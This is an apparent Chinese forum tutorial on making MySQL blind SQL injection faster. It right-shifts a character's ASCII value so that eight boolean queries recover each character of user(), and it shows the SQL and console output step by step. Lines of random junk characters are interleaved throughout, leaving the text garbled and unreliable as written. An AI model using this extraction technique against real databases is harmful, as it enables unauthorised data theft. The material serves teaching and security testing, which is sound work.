关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

& D2 I; }' C( b5 ^
* E( ~" l5 }3 c1 Z: w0 P, C  ^
, T8 U# o' c3 H2 c8 A: F下面将以查询mysql数据库当中user()的第一位为例:
0 `9 `& t; @( G' C) Y9 n% X


# }* @- z; p6 s7 J& ]ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
; x8 {- Z/ q* _8 O5 |

, c3 h, g: M* v* u1 [: M2 Q; P
9 v& k* g# T5 f" F, R首先执行如下sql语句:

' y( [& e' ~% p# A3 m8 l7 J
% W! Y; Z% I) |. p- w! w8 v7 {5 z
" D* G* x( A$ @4 K/ |, |5 \- n7 Nmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
2 D7 |# m9 s, |8 B9 E& l

# z# C3 S4 A8 m, A2 C7 F) {
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

  @/ I& N2 c8 ~, j

4 ]! G6 w/ Q; V0 U第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 G  ^* y+ n, i
. v4 _" K+ Y$ C: X: Y* `6 Q4 S

/ ]. T! y$ S7 i9 G如果运算结果为1,说明第一位为0,不为1
* n& U4 R. F: {0 V8 L
$ R4 D' k  C8 `& a2 N% \
' Q) P. n0 L& n9 a& l0 E9 e; ~
+————————————–+
% n# h' m) B3 h3 @
| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

! T! M6 Q% G* {) y4 C0 N3 x| 1 |

* w5 {' Z$ [# T% p; H0 w+————————————–+
% m1 n' H; m2 G( z6 n  _
/ z7 T6 F$ |* ]& a2 y) `+ ~1 row in set (0.00 sec)
$ X- c$ a. \- e8 L/ R4 W
* |7 S5 Z) w1 w; E$ r! F6 d这样我们就确定这个8bit的ascii的第一位为0

0 q: C- Z3 c$ x5 k

* n0 G7 d" J6 Z2 T: _% r/ d第二次我们来做6次右偏移来确定前两位

5 R5 q) |) P- q! l; P- X5 Y6 m# o

/ }" ?/ i& J5 d( A8 v' N" K& \前两位可能是01或00,即依然可以与0做比较,

" D( }4 l, I& J7 Q9 B& T# Pmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 k( K; d* ]0 E
+————————————–+
9 _0 U( h: s" k4 ?% d0 |2 {
| (ascii((substr(user(),1,1))) >> 6)=0 |

- Y% J9 _) E, L+————————————–+
* A. O' N! S% k9 {/ b) X1 X
| 0 |
+ @; V( Z, B7 t; {) ~& ?: [
+————————————–+

" |; r* Z5 d3 N' m: w* z' @1 row in set (0.00 sec)
7 a/ g$ s# F. u, ?7 C
- l$ k3 ~; ^$ i' A- I6 s
8 X2 q6 j- W, B4 k
" |3 K: X" N* d) y  [' P  E+ x) L结果为0,即第二位为1
! b8 l2 U" t/ q. f% ~, l0 T


开始猜测前三位为010或011
2 v1 h- Q/ ~2 \, Y+ w. n0 t
" j6 R# h4 ^0 z# L/ O! t

让我们看看010和011的ascii码是多少
8 A- h+ b3 X, m5 E; R6 X& w


分别查询select b’011′ select b’010′
: _! y6 H0 e) B0 |# a6 z, X
0 e# Q7 a5 d3 t. R$ E; d
- E% d9 t3 Y5 F$ T
; B( f( V* k; b# q) W+ E& C" o获得结果 010 = 2 011 = 3

$ J" ^% }$ J/ j; M& H: ^8 b5 [
; P; b2 a! g0 t' f) e! R( g
执行如下sql:



, V* F. x. b: Y6 ]! u7 }# u  o+ zmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
* w8 s3 \# S1 y  a& o% _
, h0 y9 p. I; n| (ascii((substr(user(),1,1))) >> 5)=2 |

( J3 N/ e  b# b! Z, ^$ M8 O  Q3 `+————————————–+

0 p0 \$ T3 y' p. r0 R( J| 0 |
# [2 V* N2 k+ A4 N4 G6 M
9 Z! k. }0 R; e2 t" ~7 k+————————————–+

即前三位不为010,而是011
7 ~  _6 ~8 R2 O' L+ e4 X6 t$ }
# {$ \% T( u; q7 c
( p* y3 t9 R& m5 M- k8 o3 h( Z
直到获得最后一位

; ~3 G% ?' M: y) c6 Q

' L. ?/ M" E: F最终结果为:01110010
: V$ |! i0 A/ C* B
$ d1 Q8 K6 u7 V. V

转换一下:
7 Q( E3 d( h1 H/ F
1 @) X* J6 M% f3 w1 W0 j9 p
4 ?+ h7 ^7 g7 V! p
select b’01110010′



查询结果

4 }* |& y) h- O# y* d0 O
7 @" |9 b  i8 X
+————-+
% q% _# y  s9 W% d. r
0 f3 B/ U, \( f. a$ _$ l  @| b’01110010′ |
) E/ p8 s+ |* G5 T
+————-+

| r |
1 \: d4 ^- J; s* _
+————-+

1 row in set (0.00 sec)
+ l) F! P  H' \! Y* D" E


1 j! o, V7 l: B2 L这样我们就获得了user()的第一位.其它位依此类推